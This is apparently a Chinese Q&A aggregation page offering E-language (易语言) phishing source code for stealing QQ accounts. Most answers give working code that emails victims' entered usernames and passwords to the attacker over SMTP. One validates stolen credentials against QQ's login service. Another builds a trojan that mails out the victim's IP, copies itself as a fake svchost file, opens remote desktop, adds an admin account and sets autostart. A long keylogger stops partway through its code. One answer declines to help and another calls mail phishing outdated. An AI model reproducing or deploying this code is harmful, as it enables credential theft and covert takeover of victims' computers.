转转钓鱼源码
Ⅰ 易语言钓鱼源码
嗯嗯，改的设置对着呢。
但是你貌似没有填端口号，TX的应该是25，因为我填的是25……能发出去
可以这么写：
连接发信服务器 (“smtp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了！”, “账号：” + 编辑框2.内容 + #换行符 + “密码：” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是，发送的时候360会拦截下来。这个你得注意下，其实你家机子要是固定IP的话，可以做个服务器。还有就是你这个验证根本不行，我账号填个1，密码填个1，那岂不就完事了，还能登上去，你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 ＝ 网页源码编码转换 (温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
' 温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
产生sid ＝ 取文本之间内容 (登录网页, “sid=”, “&”)
登录返回文本 ＝ 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) ＞ 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败，可能系统繁忙，请稍后重试”, , 假) ＞ 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确，请重新输入”, , 假) ＞ 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) ＞ 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) ＞ 0)
登录成功网页 ＝ 登录返回文本
sid ＝ 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) ＞ 0)
验证码图片地址 ＝ 取文本之间内容 (登录返回文本, “<img src=” ＋ #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 ＝ “”)
_启动窗口.可视 ＝ 真
.否则
输入验证码返回文本 ＝ 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) ＞ 0)
登录成功网页 ＝ 输入验证码返回文本
sid ＝ 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块，我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”，你可以看看，嘻嘻……（其实还是盗号的，只是不发送过来）
Ⅱ QQ钓鱼生成器源码（易语言的）！
连接发信服务器 (“smtp.qq.com”, 25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“帐号来了”, “帐号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容 ＋ #换行符, “这里输入你的邮箱地址：”, , , “这里输入你的邮箱地址 例如：[email protected]”, )
临时记录 ＝ 编辑框1.内容 ' 记录编辑框1 的内容
Ⅲ 易语言钓鱼源码
钓鱼已经不好用了
启动窗口加三个编辑框就可以了
.版本 2
.支持库 internet
.支持库 sock
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 邮箱账号, 文本型
.局部变量 邮箱密码, 文本型
.局部变量 收件人地址, 文本型
' 取本机
' 这个易语言钓鱼基本已经被河蟹了，收件箱和发件箱必须是同一个账户才能收到邮件
' 反正我测试是这样的
' 邮箱账号不需要填写【@163.com】
邮箱账号 ＝ “123456”
邮箱密码 ＝ “654321”
收件人地址 ＝ “123456”
编辑框1.内容 ＝ 到文本 (HTTP读文件 (“http://www.3322.org/dyndns/getip”))
编辑框2.内容 ＝ 到文本 (取本机名 ())
' 发送本机IP到邮箱
连接发信服务器 (“smtp.163.com”, 25, 邮箱账号, 邮箱密码, )
发送邮件 (“客户IP”, “IP地址:” ＋ 编辑框1.内容 ＋ #换行符 ＋ “客户名称：” ＋ 编辑框2.内容, 收件人地址, , , 收件人地址, 收件人地址)
' 复制文件 (, )
置文件属性 (取运行目录 () ＋ “” ＋ 取执行文件名 (), 1 ＋ 2 ＋ 4)
复制文件 (取运行目录 () ＋ “” ＋ 取执行文件名 (), “C:windowssvchcst.exe”)
复制文件 (取运行目录 () ＋ “” ＋ 取执行文件名 (), “C:windowssystem32svchcst.exe”)
' 开启3389
写注册项 (4, “ ServerfDenyTSConnections”, 0)
' 添加用户
' 运行 (“cmd /c net user ” ＋ “xiaoxia” ＋ “ ” ＋ “123456” ＋ “ /add & net localgroup administrators ” ＋ “xiaxia” ＋ “ /add”, 假, 1)
' 写开机启动
写注册项 (#现行用户, “”, 取运行目录 () ＋ “” ＋ 取执行文件名 ())
' 程序结束
延时 (5000)
销毁 ()
' shift后门
Ⅳ QQ钓鱼生成器源码（易语言的）！
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
连接发信服务器 (“smtp.qq.com”, 25, “Qq帐号”, “密码”, )
发送邮件 (“有鱼上钩”, 编辑框1.内容 ＋ #换行符 ＋ 编辑框2.内容, “QQ帐号：@qq.com”, , , “QQ帐号：@qq.com”, )
Ⅳ 易语言密保钓鱼源码
.版本 2
.支持库 eAPI
.程序集 窗口程序集1
.程序集变量 bl, 逻辑型
.子程序 键盘记录, 文本型
.参数 大小写状态, 逻辑型
.局部变量 回车, 整数型
.局部变量 空格, 整数型
.局部变量 Q, 整数型
.局部变量 W, 整数型
.局部变量 E, 整数型
.局部变量 R, 整数型
.局部变量 T, 整数型
.局部变量 Y, 整数型
.局部变量 U, 整数型
.局部变量 I, 整数型
.局部变量 O, 整数型
.局部变量 P, 整数型
.局部变量 A, 整数型
.局部变量 S, 整数型
.局部变量 D, 整数型
.局部变量 F, 整数型
.局部变量 G, 整数型
.局部变量 H, 整数型
.局部变量 J, 整数型
.局部变量 K, 整数型
.局部变量 L, 整数型
.局部变量 Z, 整数型
.局部变量 C, 整数型
.局部变量 V, 整数型
.局部变量 x, 整数型
.局部变量 B, 整数型
.局部变量 N, 整数型
.局部变量 M
.局部变量 S1
.局部变量 S2
.局部变量 S3
.局部变量 S4
.局部变量 S5
.局部变量 S6
.局部变量 S7
.局部变量 S8
.局部变量 S9
.局部变量 S0
.局部变量 加
.局部变量 减
.局部变量 除
.局部变量 飞
.局部变量 BACK
.局部变量 TAB
.局部变量 Ctrl
.局部变量 Alt
.局部变量 大写
.局部变量 Shift
.局部变量 Win
.局部变量 n1
.局部变量 n2
.局部变量 n3
.局部变量 n4
.局部变量 n5
.局部变量 n6
.局部变量 n7
.局部变量 n8
.局部变量 n9
.局部变量 n0
.局部变量 n点
.局部变量 n回车
.局部变量 n加
.局部变量 n减
.局部变量 n除
.局部变量 n乘
.局部变量 F1
.局部变量 F2
.局部变量 F3
.局部变量 F4
.局部变量 F5
.局部变量 F6
.局部变量 F7
.局部变量 F8
.局部变量 F9
.局部变量 F10
.局部变量 F11
.局部变量 F12
.局部变量 Insert
.局部变量 Home
.局部变量 PageUp
.局部变量 Delete
.局部变量 End
.局部变量 PageDown
.局部变量 逗号
.局部变量 句号
.局部变量 斜杠
.局部变量 NumLock
.局部变量 ScrollLock
.局部变量 PrintScreen
.局部变量 Pause
.局部变量 Esc
.局部变量 上方向
.局部变量 下方向
.局部变量 左方向
.局部变量 右方向
.局部变量 右Win
.局部变量 L方括号
.局部变量 R方括号
.局部变量 引号
.局部变量 分号
L方括号 ＝ GetAsyncKeyState (219)
R方括号 ＝ GetAsyncKeyState (221)
分号 ＝ GetAsyncKeyState (186)
引号 ＝ GetAsyncKeyState (222)
右Win ＝ GetAsyncKeyState (92)
上方向 ＝ GetAsyncKeyState (38)
下方向 ＝ GetAsyncKeyState (40)
左方向 ＝ GetAsyncKeyState (37)
右方向 ＝ GetAsyncKeyState (39)
逗号 ＝ GetAsyncKeyState (188)
NumLock ＝ GetAsyncKeyState (144)
ScrollLock ＝ GetAsyncKeyState (145)
PrintScreen ＝ GetAsyncKeyState (44)
Pause ＝ GetAsyncKeyState (19)
Esc ＝ GetAsyncKeyState (27)
句号 ＝ GetAsyncKeyState (190)
n0 ＝ GetAsyncKeyState (96)
n1 ＝ GetAsyncKeyState (97)
n2 ＝ GetAsyncKeyState (98)
n3 ＝ GetAsyncKeyState (99)
n4 ＝ GetAsyncKeyState (100)
n5 ＝ GetAsyncKeyState (101)
n6 ＝ GetAsyncKeyState (102)
n7 ＝ GetAsyncKeyState (103)
n8 ＝ GetAsyncKeyState (104)
n9 ＝ GetAsyncKeyState (105)
n乘 ＝ GetAsyncKeyState (106)
n加 ＝ GetAsyncKeyState (107)
n回车 ＝ GetAsyncKeyState (108)
n减 ＝ GetAsyncKeyState (109)
n点 ＝ GetAsyncKeyState (110)
n除 ＝ GetAsyncKeyState (111)
Ctrl ＝ GetAsyncKeyState (#Ctrl键)
Alt ＝ GetAsyncKeyState (#Alt键)
TAB ＝ GetAsyncKeyState (#Tab键)
Win ＝ GetAsyncKeyState (91)
Shift ＝ GetAsyncKeyState (#Shift键)
回车 ＝ GetAsyncKeyState (#回车键)
空格 ＝ GetAsyncKeyState (#空格键)
A ＝ GetAsyncKeyState (#A键)
B ＝ GetAsyncKeyState (#B键)
C ＝ GetAsyncKeyState (#C键)
D ＝ GetAsyncKeyState (#D键)
E ＝ GetAsyncKeyState (#E键)
F ＝ GetAsyncKeyState (#F键)
G ＝ GetAsyncKeyState (#G键)
H ＝ GetAsyncKeyState (#H键)
I ＝ GetAsyncKeyState (#I键)
J ＝ GetAsyncKeyState (#J键)
K ＝ GetAsyncKeyState (#K键)
L ＝ GetAsyncKeyState (#L键)
M ＝ GetAsyncKeyState (#M键)
N ＝ GetAsyncKeyState (#N键)
O ＝ GetAsyncKeyState (#O键)
P ＝ GetAsyncKeyState (#P键)
Q ＝ GetAsyncKeyState (#Q键)
R ＝ GetAsyncKeyState (#R键)
S ＝ GetAsyncKeyState (#S键)
T ＝ GetAsyncKeyState (#T键)
U ＝ GetAsyncKeyState (#U键)
V ＝ GetAsyncKeyState (#V键)
W ＝ GetAsyncKeyState (#W键)
x ＝ GetAsyncKeyState (#X键)
Y ＝ GetAsyncKeyState (#Y键)
Z ＝ GetAsyncKeyState (#Z键)
飞 ＝ GetAsyncKeyState (192)
S1 ＝ GetAsyncKeyState (49)
S2 ＝ GetAsyncKeyState (50)
S3 ＝ GetAsyncKeyState (51)
S4 ＝ GetAsyncKeyState (52)
S5 ＝ GetAsyncKeyState (53)
S6 ＝ GetAsyncKeyState (54)
S7 ＝ GetAsyncKeyState (55)
S8 ＝ GetAsyncKeyState (56)
S9 ＝ GetAsyncKeyState (57)
S0 ＝ GetAsyncKeyState (48)
减 ＝ GetAsyncKeyState (189)
加 ＝ GetAsyncKeyState (187)
除 ＝ GetAsyncKeyState (220)
BACK ＝ GetAsyncKeyState (8)
大写 ＝ GetAsyncKeyState (20)
F1 ＝ GetAsyncKeyState (112)
F2 ＝ GetAsyncKeyState (113)
F3 ＝ GetAsyncKeyState (114)
F4 ＝ GetAsyncKeyState (115)
F5 ＝ GetAsyncKeyState (116)
F6 ＝ GetAsyncKeyState (117)
F7 ＝ GetAsyncKeyState (118)
F8 ＝ GetAsyncKeyState (119)
F9 ＝ GetAsyncKeyState (120)
F10 ＝ GetAsyncKeyState (121)
F11 ＝ GetAsyncKeyState (122)
F12 ＝ GetAsyncKeyState (123)
Insert ＝ GetAsyncKeyState (45)
Home ＝ GetAsyncKeyState (36)
PageUp ＝ GetAsyncKeyState (33)
PageDown ＝ GetAsyncKeyState (34)
End ＝ GetAsyncKeyState (35)
Delete ＝ GetAsyncKeyState (46)
斜杠 ＝ GetAsyncKeyState (191)
.如果真 (键判断 (L方括号))
返回 (“[”)
.如果真结束
.如果真 (键判断 (R方括号))
返回 (“]”)
.如果真结束
.如果真 (键判断 (分号))
返回 (“;”)
.如果真结束
.如果真 (键判断 (引号))
返回 (“'”)
.如果真结束
.如果真 (键判断 (斜杠))
返回 (“/”)
.如果真结束
.如果真 (键判断 (逗号))
返回 (“,”)
.如果真结束
.如果真 (键判断 (右Win))
返回 (“{Win}”)
.如果真结束
.如果真 (键判断 (右方向))
返回 (“→”)
.如果真结束
.如果真 (键判断 (下方向))
返回 (“↓”)
.如果真结束
.如果真 (键判断 (上方向))
返回 (“↑”)
.如果真结束
.如果真 (键判断 (左方向))
返回 (“←”)
.如果真结束
.如果真 (键判断 (NumLock))
返回 (“{Num Lock}”)
.如果真结束
.如果真 (键判断 (ScrollLock))
返回 (“{Scroll Lock}”)
.如果真结束
.如果真 (键判断 (PrintScreen))
返回 (“{Prt Scr}”)
.如果真结束
.如果真 (键判断 (Pause))
返回 (“{Pause}”)
.如果真结束
.如果真 (键判断 (Esc))
返回 (“{Esc}”)
.如果真结束
.如果真 (键判断 (句号))
返回 (“.”)
.如果真结束
.如果真 (键判断 (S0))
返回 (“0”)
.如果真结束
.如果真 (键判断 (回车))
返回 (“{Enter}”)
.如果真结束
.如果真 (键判断 (空格))
返回 (“{空格}”)
.如果真结束
.如果真 (键判断 (A))
.如果 (大小写状态)
返回 (“A”)
.否则
返回 (“a”)
.如果结束
.如果真结束
.如果真 (键判断 (B))
.如果 (大小写状态)
返回 (“B”)
.否则
返回 (“b”)
.如果结束
.如果真结束
.如果真 (键判断 (C))
.如果 (大小写状态)
返回 (“C”)
.否则
返回 (“c”)
.如果结束
.如果真结束
.如果真 (键判断 (D))
.如果 (大小写状态)
返回 (“D”)
.否则
返回 (“d”)
.如果结束
.如果真结束
.如果真 (键判断 (E))
.如果 (大小写状态)
返回 (“E”)
.否则
返回 (“e”)
.如果结束
.如果真结束
.如果真 (键判断 (F))
.如果 (大小写状态)
返回 (“F”)
.否则
返回 (“f”)
.如果结束
.如果真结束
.如果真 (键判断 (G))
.如果 (大小写状态)
返回 (“G”)
.否则
返回 (“g”)
.如果结束
.如果真结束
.如果真 (键判断 (H))
.如果 (大小写状态)
返回 (“H”)
.否则
返回 (“h”)
.如果结束
.如果真结束
.如果真 (键判断 (I))
.如果 (大小写状态)
返回 (“I”)
.否则
返回 (“i”)
.如果结束
.如果真结束
.如果真 (键判断 (J))
.如果 (大小写状态)
返回 (“J”)
.否则
返回 (“j”)
.如果结束
.如果真结束
.如果真 (键判断 (K))
.如果 (大小写状态)
返回 (“K”)
.否则
返回 (“k”)
.如果结束
.如果真结束
.如果真 (键判断 (L))
.如果 (大小写状态)
返回 (“L”)
.否则
返回 (“l”)
.如果结束
.如果真结束
.如果真 (键判断 (M))
.如果 (大小写状态)
返回 (“M”)
.否则
返回 (“m”)
.如果结束
.如果真结束
.如果真 (键判断 (N))
.如果 (大小写状态)
返回 (“N”)
.否则
返回 (“n”)
.如果结束
.如果真结束
.如果真 (键判断 (O))
.如果 (大小写状态)
返回 (“O”)
.否则
返回 (“o”)
.如果结束
.如果真结束
.如果真 (键判断 (P))
.如果 (大小写状态)
返回 (“P”)
.否则
回答内容最多不超过10000个字
Ⅵ 如何修改钓鱼网站的源码
不支持制作钓鱼网站，因为钓鱼网站是非法的，同时如果诈骗了其它玩家的话被抓到是刑事罪。
修改钓鱼网站的源码也需要小心，一不小心就会中病毒。账号被盗。
同时如果你发现钓鱼网站进行欺诈，可以使用腾讯电脑管家进行举报。
也可以使用腾讯电脑管家进行实时防护。保护你的账号安全。
Ⅶ 谁有易语言最新钓鱼源码 要能收到邮件的
你好，邮箱钓鱼都是过时的，没有任何最新代码，因为大家都知道，邮箱钓鱼不仅会被强烈报毒，而且遇到黑客还会被盗邮箱。目前比较强大的钓鱼有：虚拟机钓鱼，FTP传输钓鱼，这些报毒几率是非常小的，而且发送账号、密码的时候不会被360或者杀毒软件拦截。